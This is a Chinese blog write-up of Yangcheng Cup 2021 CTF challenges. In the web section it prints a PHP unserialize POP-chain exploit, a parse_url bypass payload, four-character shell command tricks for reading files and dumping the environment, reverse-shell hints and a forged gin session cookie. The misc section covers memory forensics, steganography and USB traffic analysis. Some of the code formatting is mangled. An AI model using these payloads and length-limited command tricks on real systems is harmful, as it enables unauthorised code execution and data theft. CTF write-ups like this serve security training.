羊城杯2021


羊城杯2021

一·web

only4

访问index.php,得到源码

dirsearch扫了一波,没有结果,审计一下源码,发现gwht被过滤了flag和secret,说明secret.php应该是读取flag的关键。

再看后面的源码

include($gwht); 
if (isset($ycb)){
  $url = parse_ur1 ($_SERVER["REQUEST_URI"]);
  parse_str ($url['query'], $query);

  foreach ($query as $value) {
    if (preg_match("/Flag/i", $value))
      die('not hit');
  }
  $YCB= unserialize ($ycb);         //ycb被反序列化了,说明应该有一个php是关于ycb序列化的
}else{
  echo "what are you doing";
}

这里一个第一个卡住的点就是dirsearch-master扫描不出来serialize.php,只能根据反序列化那里猜测是serialize.php。

再看后面这一段

if (isset($ycb)){
  $url = parse_ur1 ($_SERVER["REQUEST_URI"]);
  parse_str ($url['query'], $query);

这里事实上就是对parse_url()的绕过,参考————

**一叶飘零师傅的博客**

可见parse_url函数在解析url时存在的bug,///可使其返回false,从而绕过后面的过滤

所以这里我们也可以以相同的姿势绕过其对flag的过滤

这里我们先通过php伪协议可读取serialize.php的源码

?gwht=php://filter/read=convert.base64-encode/resource=serialize.php

base64解密后得到

class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "?-???|??2?????¥".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo highlight_file('secret.php');
}
}

?>

代码很长 ,慢慢 分析

  • 要想获得输出flag,那么我们肯定要想办法调用GetFlag类的里的get_flag()方法。
  • 在string1类我们可以看到,只要把$str1实例化为GetFlag类的对象,然后调用想办法调用__toString()方法即可,那就找有没有地方把对象当作字符串了。__
  • 往上看,func类的__invoke()方法中有用.来进行字符串拼接的代码,那么只要把$mod1实例化为string类的对象,然后再调用该__invoke()方法即可,那就找有没有地方把对象当作函数来调用了。
  • 发现在funct类的__call()中有$s1();可以利用,只需要把$mod1实例化为func类的对象,然后再调用该__call()方法,那就找哪里调用了未声明的函数。
  • 再Call类中的test1()方法调用了不存在的test2()方法,所以只需要把$mod1实例化为funct类的对象,然后再调用该test1()方法。
  • 看到在start_gg类中的__destruct()方法中正好调用了test1()方法,那么只要$mod1实例化为Call类的对象即可。
    想要调用start_gg类中的__
  • destruct()方法,只有实例化一个它的对象即可,这个对象在销毁时会自动调用__destruct()函数。
  • 如何在每个类中实例化另一个类呢?可以利用类的构造函数,只要这个类被实例化,构造函数就自动实例化了你所需要的那个类。

思路了清楚了,exp如下

<?php
 class start_gg
 {
         public $mod1;
         public function __construct()
         {
             $this->mod1 = new Call();
         }
 }
 class Call
 {
         public $mod1;
         public function __construct()
         {
             $this->mod1 = new funct();
         }
 }
 class funct
 {
         public $mod1;
         public function __construct()
         {
             $this->mod1 = new func();
         }
 }
 class func
 {
         public $mod1;
         public function __construct()
         {
             $this->mod1 = new string1();
         }
 }
 class string1
 {
         public $str1;
         public function __construct()
         {
             $this->str1 = new GetFlag();
         }
 }
 class GetFlag {}
 $a = new start_gg();
 echo serialize($a);
 ?>
 得到序列化字符串
 O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}

最后构造payload:

http://xxx///index.php?gwht=serialize.php&ycb=O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}

得到secret.php的源码

<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
  echo shell_exec($_GET['SXF']);
}
?>

根据代码是通过GET方式传入SXF,如果字符串长度小于5,就通过shell_exec执行并打印

网上大多数四个字符getshell采取的是反弹shell的方式,但是由于这道题没有给沙盒的环境也没有reset,导致写错了就得重置,所以还是比较麻烦的

这里我主要运用了两个字符

> 重定向输出符  //在这里的作用是写入一个文件
* 通配符    //这里的作用是省略字符

首先通过url传入>cat,在目标目录下写入cat文件,ls查看后得到

再使用通配符进行执行,读取根目录下的flag文件

http://xxxx/secret.php?SXF=c* /* 得到flag

事实上这里其实* /*即可

这里稍微扩展一下限制长度下的命令执行

一些 tricks
  • Linux 下可以用 \ 来拼接命令,实现命令续行,生成文件的话文件名要双写\,比如 >ls\\

  • 注意不要用 . 作为文件名的开头,因为 Linux 下 . 会作为隐藏文件,直接用 ls 列不出来。

  • 为了不按照默认顺序排序,可以用 ls -t,按照时间顺序,后执行的排前面,于是可以拆分命令再拼接来实现。(ps:ls 默认的排序是按照字母顺序来的,一个一个字符来看,| => 空格 => 数字 => 字母。以 - 开头的文件名不看 -,从之后的第一个字符开始比较。)

  • dir a b>c 只会将 a b 写到文件 c 中,而其他的文件则不会。

  • * 可以得到当前目录下的所有目录及文件名,而且能用文件名执行命令。

  • 利用 rev 命令可以执行反序,先生成一个名为 rev 的文件,再执行 *v,由于 Linux 的通配符,就相当于执行了 rev v,太妙了!

  • PHP 代码执行 exec 时,只需要输入\ 即可生成 ,比如 exec(">ls\") 即可,还能省一个字符呢。

  • 反弹 shell 时候用的 IP 可以换成十进制不带小数点的。(噢你有短域名啊,那 没事了)

  • 可以依次执行 >env, *>x,相当于执行 env>x,就能在 x 文件里得到环境变量里的内容

check_in go

  1. 首先登陆进去是一个简单的页面,需要md5截断,同时下载www.zip,审计一下源码发现,username不可以是admin,所以随便构造一个,登录试一下

    下面是md5截断脚本

    from multiprocessing.dummy import Pool as tp
    import hashlib
    
    knownMd5 = ''      #已知的md5明文def md5(text):
    def md5(text):
        return hashlib.md5(str(text).encode('utf-8')).hexdigest()
    
    def findCode(code):
        key = code.split(':')
        start = int(key[0])
        end = int(key[1])
        for code in range(start, end):
            if md5(code)[0:6] == knownMd5:
                print (code)
                break
    list=[]
    for i in range(3):    #这里的range(number)指爆破出多少结果停止
        list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
    pool = tp()    #使用多线程加快爆破速度
    pool.map(findCode, list)
    pool.close()
    pool.join()

  2. 得到如下的页面,很明显我们要使是自己为admin,所以下面需要尝试伪造session

  3. 审计源码,很明显使用的是grin框架,下面尝试在本地搭建相同的环境,本地访问后得到session

    package main
    import (
    	"github.com/gin-contrib/sessions"
    	"github.com/gin-contrib/sessions/cookie"
    	"github.com/gin-gonic/gin"
    )
    func main() {
    	r := gin.Default()
    	storage := cookie.NewStore(randomChar(16))
    	r.Use(sessions.Sessions("o", storage))
    	r.GET("/a",cookieHandler)
    	r.Run("0.0.0.0:8002")
    }
    func cookieHandler(c *gin.Context){
    	s := sessions.Default(c)
    	s.Set("uname", "admin")
    	s.Save()
    }
  4. 修改cookie,刷新后就可以加flag的价格了,很自然想到了溢出 博客:https://bycsec.top/2021/02/07/golang%E7%9A%84%E4%B8%80%E4%BA%9B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

  5. ```go
    package main

    import (

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "math/rand"
    

    )

    func randomChar(l int) []byte {

    output := make([]byte, l)
    rand.Read(output)
    return output
    

    }

    func main() {

    r := gin.Default()
    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))
    r.GET("/", func(c *gin.Context) {
        s := sessions.Default(c)
        s.Set("uname", "tari")
        checkPlayerMoney := s.Get("checkPlayerMoney")
        checflagMoney := s.Get("checkNowMoney")
        // 交换 现有的money 和 买 flag money 加密后的值
        s.Set("checkNowMoney", checkPlayerMoney)
        s.Set("checkPlayerMoney", checflagMoney)
        playerMoney := s.Get("playerMoney")
        flagMoney := s.Get("nowMoney")
        s.Set("nowMoney", playerMoney)
        s.Set("playerMoney", flagMoney)
        s.Save()
    })
    r.Run("0.0.0.0:80")
    

    }

    
       这是另一种方法,交换了money和flag price的值,替换cookie以后就可以直接buy flag了
    
    6. buy flag即可
    
    ## 二·Misc
    
    ### baby_forensic
    
    下载文件,得到一个.raw文件,raw原本是相机的数码原件,这里应该是指数据未加工
    
    工具方面我们选择:volatility
    
    先了解一下volatility的基本使用方法:
    
    - ```
      volatility -f filename imageinfo   //这个命令可以用来获取内存镜像的摘要信息,比如系统版本,硬件构架等
  • ```
    volatility -f filename kdbgscan //这个插件可以扫描文件的profile的值,通常扫描结果有多个,只有一个结果是完全正确的,kdbgscan和imageinfo都只适用于windows的镜像

    
    - ```
      volatility -f filename --profile=Win7SPx64 pslist //pslist可以直接列出运行的进程,如果进程已经结束,会在Exit列显示日期和时间,表明进程已经结束
  • ```
    volatility -f filename –profile=Win7SP1x64 hivelist // 列举缓存在内存中的注册表(注册表是用于存储Windows系统用户,硬件和软件的存储配置信息的数据库。虽然注册表是为了配置系统而设计的,但它可以跟踪用户的活动,连接到系统的设备,什么时间什么软件被使用过等都将被记录在案。)

    
    - ```
      volatility -f filename --profile=Win7SP1x64 filescan   //扫描内存中的文件
      volatility -f filename --profile=Win7SP1x64 filescan |grep "doc\|docx\|rtf"  //filescan 也可以结合grep命令来进行筛选文件后缀
      volatility -f filename --profile=Win7SP1x64 filescan |grep "flag"  //也可以查找字符串
  • ```
    volatility -f filename –profile=Win7SP1x64 dumpfiles -Q 0x000000007f142f20 -D ./ -u //导出内存中缓存的文件

    
    - ```
      volatility -f filename --profile=Win7SP1x64 cmdline  //提取内存中保留的cmd命令使用情况
  • ```
    volatility -f filename –profile=Win7SP1x64 screenshot –dump-dir=./ //查看截图

    
    - ```
      volatility -f filename --profile=Win7SP1x64 netscan  //查看网络连接
  • ```
    volatility -f wuliao.data –profile=Win7SP1x64 printkey -K “SAM\Domains\Account\Users\Names” //查看系统用户名

    
    
    
    这道题我们先分析cmdline,发现了git,猜想与GitHub有关
    
    接着filescan,发现存在ssh文件,更加印证了猜想
    
    此时我们下载下来ssh文件,进行base64解码
    
    ![](https://i.loli.net/2021/09/13/7XMY2mfnp9lrNo6.png)
    
    得到一个邮箱,ssh-key,猜想GitHub可能有相关的信息
    
    搜索得到
    
    ![](https://i.loli.net/2021/09/13/6kYtmiSljKnG2u7.png)
    
    下载__APP__文件,打开发现应该是一个微信小程序未编译的文件,微信小程序文件一般为.wxapkg,接下来要做的就是还原这个项目
    
    需要用到工具wxappUnpacker
    
    链接:https://pan.baidu.com/s/1VeWPr7LD7eWnN39vWDNPUQ 
    提取码:0525
    
    下载后先安装依赖的环境
    

    npm install esprima -g
    npm install css-tree -g
    npm install cssbeautify -g
    npm install vm2 -g
    npm install uglify-es -g
    npm install js-beautify -g
    npm install escodegen -g

    
    接下来使用wuWxapkg.js编译_app_文件,即可找到flag
    
    ### misc520
    
    这道题比赛时没有做出来,没啥思路,看了wp以后发现事实上这道题似曾相识,还是自己怕了,没有敢去尝试,现在复现一下。
    
    首先下载下来发现是一个压缩包,打开以后是一个519.zip和story,此时大概可以猜到出题人应该是想让我们把所有都解压,再多打开几个story,发现存在一些不一样的内容,所以写一个脚本,解压并且读取不一样的内容
    
    解压脚本exp如下
    

    import zipfile
    import os

with open(‘./Story1/story’, ‘r’, encoding=’UTF-8’) as f:
txt = f.read()

print(txt)

f.close()

for i in range(519, -1, -1):

print(i)

zfile = zipfile.ZipFile(str(i)+’.zip’, ‘r’)

for filename in zfile.namelist():
data = zfile.read(filename)
file = open(filename, ‘w+b’)
file.write(data)
file.close()
zfile.close()

os.remove(str(i)+’.zip’)
if os.path.exists(‘story’):
with open(‘story’, ‘r’, encoding=’UTF-8’) as story_f:
story = story_f.read()
if story != txt:
print(story)
story_f.close()
os.remove(‘story’)


读到如下信息

![](https://i.loli.net/2021/09/14/Gz46RSvHq7nsl1O.png)

得到的结果里有说一半在pcap里,这里想到可能有pcap文件隐写在flag.png中

这里使用一个叫zsteg的工具,zsteg可以检测PNG和BMP图片里的隐写数据。

```bash
zsteg flag.png
zsteg flag.png -e b1,bgr,lsb,xy > flag.pcap

得到flag.pcap,wireshark发现打不开,binwalk看一下,发现一个压缩包,爆破一下,得到密码 12345

binwalk flag.pcap

binwalk -e flag.pcap

打开压缩包发现是USB流量,通过USB流量分析文章,得知获取鼠标数据方式

tshark -r flag.pcap -T fields -e usb.capdata > usbdata.txt

得到usbdata.txt,使用如下脚本得到鼠标的坐标点

nums = []
keys = open('usbdata.txt','r')
posx = 0
posy = 0
for line in keys:
    line = line.strip('\n')
    if len(line) != 8:
         continue
    x = int(line[2:4],16)
    y = int(line[4:6],16)
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)
    # print btn_flag
    if btn_flag == 1 :              # 1 for left , 2 for right , 0 for nothing
        print (posx , posy)
keys.close()

通过gnuplot绘图 plot usb.txt

得到 130,63,111,94,51,134,119,146

然后配合刚开始在一个story文件找到这个 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108

由于题目提示说开头是GWHT,测试了一下ascii码依次是71,87,72,84,可以得到数字一次减小1、2、3、4....21
脚本如下得到flag

i = 1
flag_encode = [103, 110, 100, 107, 128, 93, 58, 116, 76, 121, 120, 63, 108, 130, 63, 111, 94, 51, 134, 119, 146]
flag = ''
for num in flag_encode:
    flag += chr(num-i)
    i += 1
print(flag)

文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录